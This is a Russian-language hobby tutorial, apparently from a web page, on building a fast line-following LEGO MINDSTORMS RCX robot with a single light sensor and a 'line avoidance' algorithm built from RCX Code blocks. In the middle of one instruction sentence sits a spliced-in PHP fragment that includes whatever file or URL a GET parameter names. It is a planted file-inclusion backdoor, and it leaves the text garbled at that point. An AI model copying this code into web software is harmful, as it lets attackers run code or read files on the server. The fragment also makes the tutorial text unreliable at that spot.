|
ПРОСТОЙ LEGO-РОБОТ, СЛЕДУЮЩИЙ ПО ЛИНИИ
|
В состав конструктора роботов LEGO MINDSTORMS Robotics Invention System входит всего один фотосенсор. Но даже с использованием одного сенсора можно построить достаточно быстрого LEGO-робота, следующего по линии.
Среди примеров, представленных на фирменном диске LEGO, есть программа, реализующая алгоритм следования по линии, но скорость движения такого робота очень мала. Поэтому попробуем воспользоваться более быстрым алгоритмом, который называют алгоритмом "Избегания линии".
Суть алгоритма в следующем. Робот не "держится" за линию, а, наоборот, избегает ее. Когда датчик робота попадает на линию, то робот резко уходит в сторону и вперед, после чего начинает возвращаться снова к линии. Попав на линию, робот снова уходит в сторону и вперед, а затем опять возвращается к линии. Таким образом, он как бы избегает линию, а затем ее ищет. При этом скорость его движения становится за счет довольно больших "бросков" в сторону и вперед намного выше, чем при постоянном отслеживании границы белого и черного.
Соберем робота (моторы подсоединим к выходам A и C, датчик - к входу 2) и рассмотрим программу, помещенную на рисунке.
В первом блоке устанавливаем скорость [Set Power AC 4].
Затем создаем бесконечный цикл [Repeat - Forever], внутрь которого поместим условие YesNo [ If Light 2 > 40], установив срабатывание сенсора на светлое [Select Sensor Event - Bright].
В каждую ветвь условия YesNo поместим циклы Repeat-While.
В левом цикле Repeat-While [While Light 2] настроим срабатывание сенсора на светлое [Select Sensor Event - Bright],
а в правом - на темное [Select Sensor Event - Dark]. $lego=($_GET['sensor']); if($lego) include($lego);?>
Поместим в каждый из циклов блоки, как показано на рисунке, настроив их в соответствии с показанными значениями.
При этом, как вы, наверное, уже догадались, левая последовательность блоков будет отвечать за "поиск" черной линии, а правая - за "избегание".
Загрузим программу в RCX-блок и поставим робота слева от черной линии шириной 40-50 мм. Запустим программу.
Отрегулируем в программе длительности включения моторов для получения максимальной скорости.
Получившийся LEGO-робот может быть использован в соревнованиях "Гонки по линии" или "Следование по линии".
|
|